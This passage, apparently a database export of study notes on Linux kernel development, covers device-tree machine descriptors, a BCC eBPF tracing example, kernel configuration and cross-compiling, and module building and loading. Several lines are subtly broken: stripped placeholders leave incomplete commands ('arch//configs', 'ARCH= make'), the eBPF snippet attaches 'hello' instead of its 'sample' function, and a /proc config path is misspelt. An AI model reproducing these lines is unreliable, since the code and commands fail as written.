Tree)")\n .reserve = omap_reserve,\n .map_io = am33xx_map_io,\n .init_early = am33xx_init_early,\n .init_machine = omap_generic_init,\n .init_late = am33xx_init_late,\n .init_time = omap3_gptimer_timer_init,\n .dt_compat = am33xx_boards_compat,\n .restart = am33xx_restart,\nMACHINE_END text txt 2024-07-28 10:08:03.334846 0 +4607 1287 static const char *const nova_compat[] __initconst = {\n "ti,nova",\n NULL,\n}; text txt 2024-07-28 10:08:03.355074 0 +4608 1287 DT_MACHINE_START(NOVA_DT, "Nova board (Flattened Device Tree)")\n .reserve = omap_reserve,\n .map_io = am33xx_map_io,\n .init_early = am33xx_init_early,\n .init_machine = omap_generic_init,\n .init_late = am33xx_init_late,\n .init_time = omap3_gptimer_timer_init,\n .dt_compat = nova_compat,\n .restart = am33xx_restart,\nMACHINE_END\n#endif code txt 2024-07-28 10:08:03.376832 0 +4609 1287 *drivers/net/ethernet/ti/cpsw-common.c*\nint ti_cm_get_macid(struct device *dev, int slave, u8 *mac_addr)\n{\n […]\n if (of_machine_is_compatible("ti,am33xx"))\n return cpsw_am33xx_cm_get_macid(dev, 0x630, slave, mac_addr);\n […]\n} code txt 2024-07-28 10:08:03.399058 0 +4610 1288 If your program is compiled with the GNU Compiler Collection (GCC), using the\n`-g3` and `-gdwarf-2` options, GDB understands references to C preprocessor\nmacros. text txt 2024-07-28 10:08:03.774799 0 +4611 1289 With `eBPF` we can add instrumentation into the kernel to observe application interactions with the kernel and intercept what would be involved if we wanted to modify the kernel, adding new code to create some kind of output whenever that system call is invoked. text txt 2024-07-28 10:08:13.29623 0 +4612 1290 The `eBPF` verifier, which ensures that an eBPF program is loaded only if it’s safe to run—it won’t crash the machine or lock it up in a hard loop, and it won’t allow data to be compromised. text txt 2024-07-28 10:08:13.460684 0 +4613 1291 `eBPF` programs can be loaded into and removed from the kernel dynamically.\nOnce they are attached to an event, they’ll be triggered by that event regardless of what caused that event to occur.\nThis is a huge advantage compared to upgrading the kernel and then having to reboot the machine to use its new functionality. text txt 2024-07-28 10:08:13.690536 0 +4614 1292 Once loaded and JIT-compiled, the program runs as native machine instructions on the CPU.\nAdditionally, there’s no need to incur the cost of transitioning between kernel and user space (which is an expensive operation) to handle each event. text txt 2024-07-28 10:08:13.906838 0 +4615 1293 #!/usr/bin/python3 text txt 2024-07-28 10:08:15.007949 0 +4616 1293 from bcc import BPF text txt 2024-07-28 10:08:15.02831 0 +4617 1293 program = r"""\nint sample(void *ctx)\n{\n bpf_trace_printk("Sample BPF");\n return 0;\n}\n""" text txt 2024-07-28 10:08:15.048911 0 +4618 1293 try:\n b = BPF(text = program)\n syscall = b.get_syscall_fnname("execve")\n b.attach_kprobe(event = syscall, fn_name = "sample")\n b.trace_print()\nexcept KeyboardInterrupt as e:\n print()\n exit() code txt 2024-07-28 10:08:15.069942 0 +4619 1293 The entire `eBPF` program is defined as a string called `program` and is compiled in the constructor of `BPF` class. text txt 2024-07-28 10:08:15.090662 0 +4620 1293 `eBPF` programs need to be attached to an event, which in this case it is attached to the system call `execve`, which is the syscall used to execute a program.\nWhenever anything or anyone starts a new program executing on this machine, that will call `execve()`, which will trigger the `eBPF` program. text txt 2024-07-28 10:08:15.11156 0 +4621 1293 Although the `execve()` name is a standard interface in Linux, the name of the function that implements it in the kernel depends on the chip architecture, but BCC gives us a convenient way to look up the function name for the machine we’re running on: text txt 2024-07-28 10:08:15.132909 0 +4622 1293 syscall = b.get_syscall_fnname("execve") code txt 2024-07-28 10:08:15.152979 0 +4623 1293 Now, syscall represents the name of the kernel function that is going to attach to, using a kprobe: text txt 2024-07-28 10:08:15.174337 0 +4624 1293 b.attach_kprobe(event=syscall, fn_name="hello") code txt 2024-07-28 10:08:15.196089 0 +4625 1293 At this point, the `eBPF` program is loaded into the kernel and attached to an event, so the program will be triggered whenever a new executable gets launched on the machine. text txt 2024-07-28 10:08:15.217429 0 +4626 1293 The tracing function will loop indefinitely, displaying any trace: text txt 2024-07-28 10:08:15.239489 0 +4628 1294 `CAP_PERFMON` and `CAP_BPF` are both required to load tracing programs.\n`CAP_NET_ADMIN` and `CAP_BPF` are both required for loading networking programs. text txt 2024-07-28 10:08:15.447169 0 +4629 1295 The `bpf_trace_printk()` helper function in the kernel always sends output to the same predefined pseudofile `/sys/kernel/debug/tracing/trace_pipe`. text txt 2024-07-28 10:08:15.685932 0 +4630 1295 You’ll need root privileges to access it. text txt 2024-07-28 10:08:15.707304 0 +4631 1296 BPF maps text txt 2024-07-28 10:08:15.906233 0 +4632 1297 A map is a data structure that can be accessed from an `eBPF` program and from user space. text txt 2024-07-28 10:08:16.077228 0 +4633 1298 git clone https://git.kernel.org - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git code txt 2024-07-28 10:08:16.906933 0 +4634 1298 The cloning process can be trimmed by setting `--depth 1` option. text txt 2024-07-28 10:08:16.927537 0 +4635 1298 It is best practice to use **LTS** kernel releases for production, so checkout to the latest stable tag: text txt 2024-07-28 10:08:16.9482 0 +4636 1298 git checkout v5.4 code txt 2024-07-28 10:08:16.968377 0 +4637 1299 * `arch/`: To be as generic as possible, architecture-specific code.\n* `block/`: Codes for block storage devices.\n* `crypto/`: Cryptographic API and the encryption algorithm's code.\n* `certs/`: Certificates and sign files to enable a module signature to make the kernel load signed modules.\n* `documentation/`: Descriptions of the APIs that are used for different kernel frameworks and subsystems.\n* `drivers/`: Device driver, organized into various subdirectories.\n* `fs/`: Implementations of different filesystems that the kernel supports, such as NTFS, FAT, ETX{2,3,4}, sysfs, procfs, NFS, and so on.\n* `include/`: Kernel header files.\n* `init/`: Initialization and startup code.\n* `ipc/`: Implementation of the inter-process communication (IPC) mechanisms, such as message queues, semaphores, and shared memory.\n* `kernel/`: Architecture-independent portions of the base kernel.\n* `lib/`: Library routines and some helper functions including generic **kernel object (kobject)** handlers and **cyclic redundancy code (CRC)** computation functions.\n* `mm/`: Memory management code.\n* `net/`: Networking (whatever network type it is) protocol code.\n* `samples/`: Device driver samples for various subsystems.\n* `scripts/`: Scripts and tools that are used alongside the kernel.\n* `security/`: Security framework code.\n* `sound/`: Audio subsystem code.\n* `tools/`: Linux kernel development and testing tools for various subsystems, such as USB, vhost test modules, GPIO, IIO, and SPI, among others.\n* `usr/`: `initramfs` implementation.\n* `virt/`: Virtualization directory, which contains the kernel virtual machine (KVM) module for a hypervisor. text txt 2024-07-28 10:08:17.511124 0 +4638 1300 Cross-compiler prefix and the architecture of the target must be specified. text txt 2024-07-28 10:08:17.9332 0 +4639 1300 ARCH= CROSS_COMPILE= make help code txt 2024-07-28 10:08:17.95328 0 +4640 1300 If these variables are not specified, the native host machine is going to be targeted. text txt 2024-07-28 10:08:17.974261 0 +4641 1300 make help code txt 2024-07-28 10:08:17.993492 0 +4642 1300 When `ARCH` is omitted or not set, it will default to the host where `make` is executed. It will default to `$(uname -m)`.\nWhen `CROSS_COMPILE` is omitted or not set, `$(CROSS_COMPILE)gcc` will result in `gcc`, and will be the same for other tools, for example `$(CROSS_COMPILE)ld` will result in `ld`. text txt 2024-07-28 10:08:18.015138 0 +4643 1301 make menuconfig # ncurses-based interface\nmake xconfig # X-based interface code txt 2024-07-28 10:08:18.247242 0 +4644 1302 Selected options will be stored in `.config` file, at the root of the source tree. text txt 2024-07-28 10:08:18.420045 0 +4645 1303 It is very difficult to know which configuration is going to work on your platform.\nIn most cases, there will be no need to start a configuration from scratch.\nThere are default and functional configuration files available in each arch directory that you can use as a starting point (it is important to start with a configuration that already works): text txt 2024-07-28 10:08:18.920124 0 +4646 1303 ls arch//configs/ code txt 2024-07-28 10:08:18.940753 0 +4647 1303 The kernel configuration command, given a default configuration file, is as follows: text txt 2024-07-28 10:08:18.960309 0 +4648 1303 ARCH= make \nARCH=x86_64 make defconfig\nARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnueabi- make defconfig\nARCH=arm CROSS_COMPILE=armv6-unknown-linux-gnueabihf- make bcm2835_defconfig code txt 2024-07-28 10:08:18.980628 0 +4649 1304 Running `make defconfig` or any alternatives will generate a new `.config` file in the main (root) directory, while the old `.config` will be renamed `.config.old`. text txt 2024-07-28 10:08:19.149469 0 +4650 1305 make savedefconfig code txt 2024-07-28 10:08:19.634851 0 +4651 1305 This command will create a minimal (since it won't store non-default settings) configuration file.\nThe generated default configuration file will be called `defconfig` and stored at the root of the source tree.\nYou can store it in another location using the following command: text txt 2024-07-28 10:08:19.6554 0 +4652 1305 mv defconfig arch//configs/myown_defconfig code txt 2024-07-28 10:08:19.67454 0 +4653 1305 This way, you can share a reference configuration inside the kernel sources and other developers can now get the same `.config` file as you by running the following command: text txt 2024-07-28 10:08:19.694299 0 +4654 1305 ARCH= make myown_defconfig code txt 2024-07-28 10:08:19.714566 0 +4655 1306 Assuming that host is a 64bit machine, `ARCH` is set to `x86_64`: text txt 2024-07-28 10:08:19.958093 0 +4656 1306 make x86_64_defconfig code txt 2024-07-28 10:08:19.977094 0 +4657 1307 make ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- make defconfig code txt 2024-07-28 10:08:20.186568 0 +4658 1308 Following target prompts for every new configuration option: text txt 2024-07-28 10:08:20.660598 0 +4659 1308 make oldconfig code txt 2024-07-28 10:08:20.680987 0 +4660 1308 You can avoid prompting new configuration options by setting their default values: text txt 2024-07-28 10:08:20.701567 0 +4661 1308 make olddefconfig code txt 2024-07-28 10:08:20.721135 0 +4662 1308 Or you can say no to every new option by: text txt 2024-07-28 10:08:20.741752 0 +4663 1308 make oldnoconfig code txt 2024-07-28 10:08:20.761357 0 +4664 1309 Debian and Ubuntu Linux distributions save the `.config` file in the `/boot` directory: text txt 2024-07-28 10:08:21.194619 0 +4665 1309 cp /boot/config-$(uname -r) .config code txt 2024-07-28 10:08:21.21548 0 +4666 1309 The other distributions may not do this. text txt 2024-07-28 10:08:21.237672 0 +4667 1309 When `IKCONFIG` and `IKCONFIG_PROC` kernel configuration options enabled, the configuration file can also be found in: text txt 2024-07-28 10:08:21.258088 0 +4668 1309 /proc/configs.gz code txt 2024-07-28 10:08:21.278517 0 +4669 1310 * `IKCONFIG`: This is a boolean option to enable this feature.\n* `IKCONFIG_PROC`: Boolean option, when set to `y` the `config.gz` file becomes available in `/proc`. text txt 2024-07-28 10:08:21.469513 0 +4670 1311 * `CMDLINE_EXTEND`: This is a boolean option to enable this feature.\n* `CMDLINE`: This options is a string containing the actual command-line extension value. text txt 2024-07-28 10:08:21.823239 0 +4671 1311 For example: text txt 2024-07-28 10:08:21.843849 0 +4672 1311 ```\nCMDLINE="noinitrd usbcore.authorized_default=0"\n`````` text txt 2024-07-28 10:08:21.864236 0 +5029 1426 code txt 2024-07-28 10:09:10.127366 0 +4673 1312 `CONFIG_KALLSYMS`: This is very useful for tracers and other tools that need to map kernel symbols to addresses. It is used while you're printing oops messages. Without this, oops listings would produce hexadecimal output, which is difficult to interpret. text txt 2024-07-28 10:08:22.059858 0 +4674 1313 `CONFIG_PRINTK_TIME`: This is a boolean option to enable this feature. text txt 2024-07-28 10:08:22.228493 0 +4675 1314 `CONFIG_INPUT_EVBUG` text txt 2024-07-28 10:08:22.412025 0 +4676 1315 `CONFIG_MAGIC_SYSRQ`: This is a boolean option to enable this feature. text txt 2024-07-28 10:08:22.582075 0 +4677 1316 `FTRACE` and `DYNAMIC_FTRACE` text txt 2024-07-28 10:08:22.748159 0 +4678 1317 * `FUNCTION_TRACER`: allows tracing functions.\n* `FUNCTION_GRAPH_TRACER`: This also shows a call graph. text txt 2024-07-28 10:08:22.964201 0 +4679 1318 `IRQSOFF_TRACER` text txt 2024-07-28 10:08:23.129844 0 +4680 1319 * `PREEMPT_TRACER`\n* `SCHED_TRACER` text txt 2024-07-28 10:08:23.353732 0 +4681 1320 If not specified, the `make` target is `all`. text txt 2024-07-28 10:08:23.761654 0 +4682 1320 ARCH=aarch64 CROSS_COMPILE=aarch64-unknown-linux-gnueabihf- make code txt 2024-07-28 10:08:23.782342 0 +4683 1320 For `x86` or `x86_64` architectures, this target points to `vmlinux`, `bzImage`, and `modules` targets.\nFor `arm` or `aarch64` architectures, it corresponds to `vmlinuz`, `zImage`, `modules`, and `dtbs` targets. text txt 2024-07-28 10:08:23.802611 0 +4684 1320 `make` can leverage the host's CPU performance by running multiple jobs in parallel: text txt 2024-07-28 10:08:23.823936 0 +4685 1320 make -j8 code txt 2024-07-28 10:08:23.844429 0 +4686 1321 * `arch//boot/Image`: An uncompressed kernel image that can be booted.\n* `arch//boot/*Image*`: A compressed kernel image that can also be booted.\n* `arch//boot/dts/*.dtb`: Provides compiled device tree blobs for the selected CPU variant.\n* `vmlinux`: A raw, uncompressed, and unstripped kernel image in ELF format. It's useful for debugging purposes but generally not used for booting purposes. text txt 2024-07-28 10:08:24.079294 0 +4687 1322 In native installation following command copies artifacts like `/boot/vmlinuz-`, `/boot/System.map-`, and `/boot/config-` files on the host. text txt 2024-07-28 10:08:24.374647 0 +4688 1322 sudo make install code txt 2024-07-28 10:08:24.39562 0 +4689 1322 However, an embedded installation usually uses a single file kernel. text txt 2024-07-28 10:08:24.415305 0 +4690 1323 make modules\nsudo make modules_install code txt 2024-07-28 10:08:24.731867 0 +4691 1323 The resulting modules will be installed in `/lib/modules/$(uname -r)/kernel/`, in the same directory structure as their corresponding source. text txt 2024-07-28 10:08:24.753485 0 +4692 1324 The resulting modules will be installed in `/lib/modules/$(uname -r)/kernel/`, in the same directory structure as their corresponding source. text txt 2024-07-28 10:08:25.142805 0 +4693 1324 ARCH=arm CROSS_COMPILE=armv6-unknown-linux-gnueabihf- make modules code txt 2024-07-28 10:08:25.164084 0 +4694 1324 However, this can be changed by specifying modules path with `INSTALL_MOD_PATH`: text txt 2024-07-28 10:08:25.183883 0 +4695 1324 ARCH=arm CROSS_COMPILE=armv6-unknown-linux-gnueabihf- INSTALL_MOD_PATH=

make modules_install code txt 2024-07-28 10:08:25.205134 0 +4696 1325 Module files are installed in `/lib/modules//`: text txt 2024-07-28 10:08:25.508321 0 +4697 1325 * `modules.builtin`: This lists all the kernel objects (.ko) that are built into the kernel. It is used by the module loading utility (modprobe, for example) so that it does not fail when it's trying to load something that's already built in. `modules.builtin.bin` is its binary counterpart.\n* `modules.alias`: This contains the aliases for module loading utilities, which are used to match drivers and devices.\n* `modules.dep`: This lists modules, along with their dependencies. `modules.dep.bin` is its binary counterpart.\n* `modules.symbols`: This tells us which module a given symbol belongs to. They are in the form of `alias symbol: `. An example is `alias symbol:v4l2_async_notifier_register videodev`. `modules.symbols.bin` is the binary counterpart of this file. text txt 2024-07-28 10:08:25.530725 0 +4698 1325 And the rest of module files will be stored in `/lib/modules//kernel/` in the same directory structure as their corresponding source. text txt 2024-07-28 10:08:25.551684 0 +4699 1326 Static modules are available at any time in the kernel image and thus can't\nbe unloaded, at the cost of extra size to the final kernel image. A static\nmodule is also known as a built-in module, since it is part of the final\nkernel image output. Any change in its code will require the whole kernel to\nbe rebuilt. text txt 2024-07-28 10:08:25.921932 0 +4700 1326 Some features (such as device drivers, filesystems, and frameworks) can,\nhowever, be compiled as loadable modules. Such modules are separated from the\nfinal kernel image and are loaded on demand. text txt 2024-07-28 10:08:25.943309 0 +4701 1327 `CONFIG_MODULES=y` text txt 2024-07-28 10:08:26.140248 0 +4702 1328 `CONFIG_MODULE_UNLOAD=y` text txt 2024-07-28 10:08:26.32747 0 +4703 1329 `CONFIG_MODULE_FORCE_UNLOAD=y` text txt 2024-07-28 10:08:26.538696 0 +4704 1330 #include \n#include text txt 2024-07-28 10:08:27.130592 0 +4705 1330 static int __init load_sample(void)\n{\n pr_info("Sample module loaded");\n return 0;\n} text txt 2024-07-28 10:08:27.151757 0 +4706 1330 static void __exit unload_sample(void)\n{\n pr_info("Sample module unloaded");\n} text txt 2024-07-28 10:08:27.172762 0 +4707 1330 module_init(load_sample);\nmodule_exit(unload_sample); text txt 2024-07-28 10:08:27.19379 0 +4708 1330 MODULE_LICENSE("GPL");\nMODULE_AUTHOR("Brian Salehi ");\nMODULE_DESCRIPTION("Sample module to do nothing"); code txt 2024-07-28 10:08:27.214187 0 +4709 1331 * `module_init()` is used to declare the function that should be called when the module is loaded.\n* `module_exit()` is used only when the module can be built as a loadable kernel module. text txt 2024-07-28 10:08:27.490972 0 +4710 1331 Both methods are invoked only once, whatever the number of devices currently handled by the module, provided the module is a device driver. text txt 2024-07-28 10:08:27.51141 0 +4711 1332 `__init` and `__exit` are kernel macros, defined in `include/linux/init.h`.\nThey are Linux directives (macros) that wrap GNU C compiler attributes used for symbol placement.\nThey instruct the compiler to put the code they prefix in the `.init.text` and `.exit.text` sections. text txt 2024-07-28 10:08:28.148582 0 +4712 1332 #define __init __section(.init.text)\n#define __exit __section(.exit.text) code txt 2024-07-28 10:08:28.16993 0 +4713 1332 `__init`: text txt 2024-07-28 10:08:28.190434 0 +4714 1332 The `__init` keyword tells the linker to place the symbols (variables or functions)\nthey prefix in a dedicated section in the resulting kernel object file.\nThis section is known in advance to the kernel and freed when the module is loaded\nand the initialization function has finished.\nThis applies only to built-in modules, not to loadable ones.\nSince the driver cannot be unloaded, its initialization function will never be called\nagain until the next reboot.\nThere is no need to keep references on this initialization function anymore. text txt 2024-07-28 10:08:28.211629 0 +4715 1332 `__exit`: text txt 2024-07-28 10:08:28.233422 0 +4754 1346 obj-m: [target].o\n make -C /opt/linux-stable/build M=$(PWD) [target] code txt 2024-07-28 10:08:33.61682 0 +4942 1402 Origin: Effectively use module commands text txt 2024-07-28 10:08:57.086139 0 +4716 1332 It is the same for the `__exit` keyword and the exit method, whose corresponding code\nis omitted when the module is compiled statically into the kernel or when module\nunloading support is not enabled because, in both cases, the exit function\nis never called.\n`__exit` has no effect on loadable modules. text txt 2024-07-28 10:08:28.253914 0 +4717 1333 A kernel module uses its `.modinfo` section to store information about the module. text txt 2024-07-28 10:08:28.422225 0 +4718 1334 Any `MODULE_*` macro will update the content of `.modinfo` section with the values passed as parameters.\nSome of these macros are `MODULE_DESCRIPTION()`, `MODULE_AUTHOR()`, and `MODULE_LICENSE()`. text txt 2024-07-28 10:08:28.631409 0 +4719 1335 MODULE_INFO(tag, info); code txt 2024-07-28 10:08:28.838614 0 +4720 1336 ${CROSS_COMPILE}objdump -d -j .modinfo .ko\n${CROSS_COMPILE}objdump --disassembly --section .modinfo .ko code txt 2024-07-28 10:08:29.066526 0 +4721 1337 The license will define how your source code should be shared (or not) with other developers.\n`MODULE_LICENSE()` tells the kernel what license our module is under.\nIt has an effect on your module behavior, since a license that is not compatible with\n**GPL (General Public License)** will result in your module not being able to see/use\nsymbols exported by the kernel through the `EXPORT_SYMBOL_GPL()` macro,\nwhich shows the symbols for GPL-compatible modules only.\nThis is the opposite of `EXPORT_SYMBOL()`, which exports functions for modules with any license. text txt 2024-07-28 10:08:29.470697 0 +4722 1337 Loading a non-GPL-compatible module will result in a tainted kernel; that means non-open source or untrusted code has been loaded, and you will likely have no support from the community. text txt 2024-07-28 10:08:29.493098 0 +4723 1337 Remember that the module without `MODULE_LICENSE()` is not considered open source and will taint the kernel too.\nAvailable licenses can be found in `include/linux/module.h`, describing the license supported by the kernel. text txt 2024-07-28 10:08:29.515525 0 +4724 1338 When code is outside of the kernel source tree, it is known as **out-of-tree** building.\nBuilding a module this way does not allow integration into the kernel configuration/compilation process, and the module needs to be built separately.\nIt must be noted that with this solution, the module cannot be statically linked in the final kernel image – that is, it cannot be built in.\nOut-of-tree compilation only allows **loadable kernel modules** to be produced. text txt 2024-07-28 10:08:29.745952 0 +4725 1339 With this building method the code is inside the kernel tree, which allows you to upstream your code, since it is well integrated into the kernel configuration/compilation process.\nThis solution allows you to produce either a statically linked module (also known as **built-in**) or a **loadable kernel module**. text txt 2024-07-28 10:08:29.966527 0 +4726 1340 obj-m := helloworld.o text txt 2024-07-28 10:08:30.678449 0 +4727 1340 KERNEL_SRC ?= /lib/modules/$(shell uname -r)/build text txt 2024-07-28 10:08:30.699147 0 +4728 1340 all default: modules\ninstall: modules_install text txt 2024-07-28 10:08:30.719297 0 +4729 1340 modules modules_install help clean:\n $(MAKE) -C $(KERNEL_SRC) M=$(shell pwd) $@ code txt 2024-07-28 10:08:30.739687 0 +4730 1340 `KERNEL_SRC`: This is the location of the prebuilt kernel source which usually is `/lib/modules/$(uname -r)/build`.\nThere is also a symbolic link `/usr/src/linux` pointing to this directory.\nAs we said earlier, we need a prebuilt kernel in order to build any module.\nIf you have built your kernel from the source, you should set this variable with the absolute path of the built source directory.\n`–C` instructs the make utility to change into the specified directory reading the makefiles. text txt 2024-07-28 10:08:30.76186 0 +4731 1340 `M`: This is relevant to the kernel build system.\nThe `Makefile` kernel uses this variable to locate the directory of an external module to build.\nYour `.c` files should be placed in that directory. text txt 2024-07-28 10:08:30.781783 0 +4732 1340 `$(MAKE) -C $(KERNEL_SRC) M=$(shell pwd) $@`: This is the rule to be executed for each of the targets enumerated previously.\nUsing this kind of magic word prevents us from writing as many (identical) lines as there are targets. text txt 2024-07-28 10:08:30.801786 0 +4733 1340 make\nmake modules code txt 2024-07-28 10:08:30.822731 0 +4734 1341 * `all`: The default target which depends on the `modules` target.\n* `modules`: This is the default target for external modules. It has the same functionality as if no target was specified.\n* `install`: Depends on `modules_install` target.\n* `modules_install`: This installs the external module(s). The default location is `/lib/modules//extra/`. This path can be overridden by `INSTALL_MOD_PATH` option.\n* `clean`: This removes all generated files. text txt 2024-07-28 10:08:31.090871 0 +4735 1342 We must specify the name of the module(s) to be built, along with the list of requisite source files: text txt 2024-07-28 10:08:31.573359 0 +4736 1342 obj- := .o code txt 2024-07-28 10:08:31.594248 0 +4737 1342 `` can be either y, m, or left blank. text txt 2024-07-28 10:08:31.615375 0 +4738 1342 In the preceding, the kernel build system will build `.o` from `.c` or `.S`, and after linking, it will result in the `.ko` kernel loadable module or will be part of the single-file kernel image. text txt 2024-07-28 10:08:31.636326 0 +4739 1342 However, the `obj-$(CONFIG_XXX)` pattern is often used, where `CONFIG_XXX` is a kernel configuration option, set or not, during the kernel configuration process: text txt 2024-07-28 10:08:31.657273 0 +4740 1342 obj-$(CONFIG_MYMODULE) += mymodule.o code txt 2024-07-28 10:08:31.678084 0 +4741 1342 `$(CONFIG_MYMODULE)` evaluates to either y, m, or nothing (blank), according to its value during the kernel configuration. text txt 2024-07-28 10:08:31.699237 0 +4742 1343 -y := .o .o code txt 2024-07-28 10:08:32.372369 0 +4743 1343 The `.ko` will be built from two files, `file1.c` and `file2.c`.\nHowever, if you wanted to build two modules, let's say `foo.ko` and `bar.ko`, the Makefile line would be as follows: text txt 2024-07-28 10:08:32.393336 0 +4744 1343 obj-m := foo.o bar.o code txt 2024-07-28 10:08:32.414538 0 +4745 1343 If `foo.o` and `bar.o` are made of source files other than `foo.c` and `bar.c`, you can specify the appropriate source files of each object file, as shown here: text txt 2024-07-28 10:08:32.437256 0 +4746 1343 obj-m := foo.o bar.o\nfoo-y := foo1.o foo2.o . . .\nbar-y := bar1.o bar2.o bar3.o . . . code txt 2024-07-28 10:08:32.457902 0 +4747 1343 The following is another example of listing the requisite source files to build a given module: text txt 2024-07-28 10:08:32.477662 0 +4748 1343 obj-m := 8123.o\n8123-y := 8123_if.o 8123_pci.o 8123_bin.o code txt 2024-07-28 10:08:32.50049 0 +4749 1344 ccflags-y := -I$(src)/include\nccflags-y += -I$(src)/src/hal/include\nldflags-y := -T$(src)foo_sections.lds code txt 2024-07-28 10:08:32.775426 0 +4750 1345 Included directories should contain `Makefile` or `Kbuild` files. text txt 2024-07-28 10:08:33.091276 0 +4751 1345 obj- += somedir/ code txt 2024-07-28 10:08:33.111333 0 +4752 1345 This means that the kernel build system should go into the directory named somedir and look for any `Makefile` or `Kbuild` files inside, processing it in order to decide what objects should be built. text txt 2024-07-28 10:08:33.131934 0 +4753 1346 Building the kernel from source in a directory like `/opt`.\nThen pointing to the build directory in `Makefile`: text txt 2024-07-28 10:08:33.595381 0 +4755 1346 An alternative is installing the `linux-headers-*` package from the distribution package feed. (x86 only)\nThis will install preconfigured and prebuilt kernel headers (not the whole source tree) in `/usr/src/linux` which a symbolic link to `/lib/modules/$(uname -r)/build`.\nIt is the path you should specify as the kernel directory in `Makefile` as follows: text txt 2024-07-28 10:08:33.638077 0 +4756 1346 obj-m: [target].o\n make -C /usr/src/linux M=$(PWD) [target]`. code txt 2024-07-28 10:08:33.658396 0 +4757 1347 sudo journalctl -fk text txt 2024-07-28 10:08:33.936393 0 +4758 1347 sudo insmod helloworld.ko\nsudo rmmod helloworld code txt 2024-07-28 10:08:33.958044 0 +4759 1348 In-tree module building requires dealing with an additional file, `Kconfig`, which allows us to expose the module features in the configuration menu. text txt 2024-07-28 10:08:34.645662 0 +4760 1348 Given your filename, `sample.c`, which contains the source code of your special character driver, it should be moved to the `drivers/char` directory in the kernel source. text txt 2024-07-28 10:08:34.666289 0 +4761 1348 Every subdirectory in the `drivers` has both `Makefile` and `Kconfig` files.\nAdd the following template to the `Kconfig` file of that directory to add support for the **built-in** module: text txt 2024-07-28 10:08:34.687436 0 +4762 1348 config SAMPLE\n tristate "Sample character driver"\n default m\n help\n Say Y to support /dev/sample character driver.\n The /dev/sample is used for practical examples. code txt 2024-07-28 10:08:34.708572 0 +4763 1348 In `Makefile` in that same directory, add the following line: text txt 2024-07-28 10:08:34.729633 0 +4764 1348 obj-$(CONFIG_SAMPLE) += sample.o code txt 2024-07-28 10:08:34.750347 0 +4765 1348 In order to have your module built as a **loadable kernel module**, add the following line to your `defconfig` board in the `arch/arm/configs` directory: text txt 2024-07-28 10:08:34.770731 0 +4766 1348 CONFIG_SAMPLE=m code txt 2024-07-28 10:08:34.790912 0 +4767 1349 #include \n#include \n#include text txt 2024-07-28 10:08:35.690987 0 +4768 1349 static char *name = "first parameter"; text txt 2024-07-28 10:08:35.71168 0 +4769 1349 module_param(name, charp, S_IRUGO|S_IWUSR); text txt 2024-07-28 10:08:35.73346 0 +4770 1349 MODULE_PARM_DESC(name, "First parameter description"); text txt 2024-07-28 10:08:35.754643 0 +4771 1349 static int __init load_sample(void)\n{\n pr_notice("Sample: Module Loaded\\\\n");\n pr_info("Sample Parameter: %s\\\\n", name);\n return 0;\n} text txt 2024-07-28 10:08:35.775683 0 +4772 1349 static void __exit unload_sample(void)\n{\n pr_notice("Sample: Module Unloaded\\\\n");\n} text txt 2024-07-28 10:08:35.797081 0 +4773 1349 module_init(load_sample);\nmodule_exit(unload_sample); text txt 2024-07-28 10:08:35.818423 0 +4774 1349 MODULE_AUTHOR("Brian Salehi ");\nMODULE_LICENSE("GPL");\nMODULE_VERSION("0.1");\nMODULE_DESCRIPTION("Sample Kernel Module"); code txt 2024-07-28 10:08:35.840274 0 +4775 1349 sudo insmod parameters.ko name="modified parameter" code txt 2024-07-28 10:08:35.860593 0 +4776 1350 It is also possible to find and edit the current values for the parameters of a loaded module from **Sysfs** in `/sys/module//parameters`.\nIn that directory, there is one file per parameter, containing the parameter value.\nThese parameter values can be changed if the associated files have write permissions text txt 2024-07-28 10:08:36.069292 0 +4777 1351 Parameters can be passed by the bootloader or provided by the `CONFIG_CMDLINE` configuration option: text txt 2024-07-28 10:08:36.321548 0 +4778 1351 CONFIG_CMDLINE=... my_module.param=value code txt 2024-07-28 10:08:36.341282 0 +4779 1352 To be visible to a kernel module, functions and variables must be explicitly exported by the kernel.\nThus, the Linux kernel exposes two macros that can be used to export functions and variables.\nThese are the following: text txt 2024-07-28 10:08:36.67541 0 +4780 1352 * `EXPORT_SYMBOL(symbolname)`: This macro exports a function or variable to all modules.\n* `EXPORT_SYMBOL_GPL(symbolname)`: This macro exports a function or variable only to GPL modules. text txt 2024-07-28 10:08:36.696813 0 +4781 1352 `EXPORT_SYMBOL()` or its `GPL` counterpart are Linux kernel macros that make a symbol available to loadable kernel modules or dynamically loaded modules (provided that said modules add an extern declaration – that is, include the headers corresponding to the compilation units that exported the symbols). text txt 2024-07-28 10:08:36.717397 0 +4782 1352 Code that is built into the kernel itself (as opposed to loadable kernel modules) can, of course, access any non-static symbol via an extern declaration, as with conventional C code. text txt 2024-07-28 10:08:36.738792 0 +4783 1353 It does that by reading each module in `/lib/modules//` to determine what symbols it should export and what symbols it needs.\nThe result of that process is written to a `modules.dep` file, and its binary version, `modules.dep.bin`. text txt 2024-07-28 10:08:36.945505 0 +4784 1354 During development, you usually use `insmod` in order to load a module.\n`insmod` should be given the path of the module to load, as follows: text txt 2024-07-28 10:08:37.244084 0 +4785 1354 insmod /path/to/mydrv.ko code txt 2024-07-28 10:08:37.263689 0 +4786 1354 `modprobe` is a clever command that parses the `modules.dep` file in order to load dependencies first, prior to loading the given module. text txt 2024-07-28 10:08:37.284363 0 +4787 1355 When kernel developers write drivers, they know exactly what hardware the drivers will support.\nThey are then responsible for feeding the drivers with the product and vendor IDs of all devices supported by the driver.\n`depmod` also processes module files in order to extract and gather that information and generates a `modules.alias` file, located in `/lib/modules//modules.alias`, which maps devices to their drivers. text txt 2024-07-28 10:08:37.771366 0 +4788 1355 ```modules.alias\nalias usb:v0403pFF1Cd*dc*dsc*dp*ic*isc*ip*in* ftdi_sio\nalias usb:v0403pFF18d*dc*dsc*dp*ic*isc*ip*in* ftdi_sio\nalias usb:v0403pDAFFd*dc*dsc*dp*ic*isc*ip*in* ftdi_sio\n`````` text txt 2024-07-28 10:08:37.792239 0 +4789 1355 At this step, you'll need a user space **hotplug agent** (or device manager), usually `udev` (or `mdev`), that will register with the kernel to get notified when a new device appears.\nThe notification is done by the kernel, sending the device's description (the product ID, the vendor ID, the class, the device class, the device subclass,\nthe interface, and any other information that can identify a device) to the hotplug daemon, which in turn calls `modprobe` with this information.\n`modprobe` then parses the `modules.alias` file in order to match the driver associated with the device.\nBefore loading the module, `modprobe` will look for its 